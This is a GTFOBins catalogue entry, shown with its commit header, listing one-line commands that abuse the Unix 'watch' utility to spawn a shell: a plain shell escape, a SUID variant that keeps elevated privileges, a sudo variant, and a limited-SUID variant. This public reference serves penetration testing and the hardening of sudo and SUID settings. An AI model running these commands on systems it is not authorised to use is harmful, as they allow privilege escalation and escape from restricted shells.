GTFOBins.github.io/_gtfobins/watch.md
OreoByte a724262b74
Fix watch SUID
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-07-01 20:39:32 +02:00

13 lines
368 B
Markdown

---
functions:
shell:
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
suid:
- description: This keeps the SUID privileges only if the `-x` option is present.
code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
sudo:
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
limited-suid:
- code: ./watch 'reset; exec sh 1>&0 2>&0'
---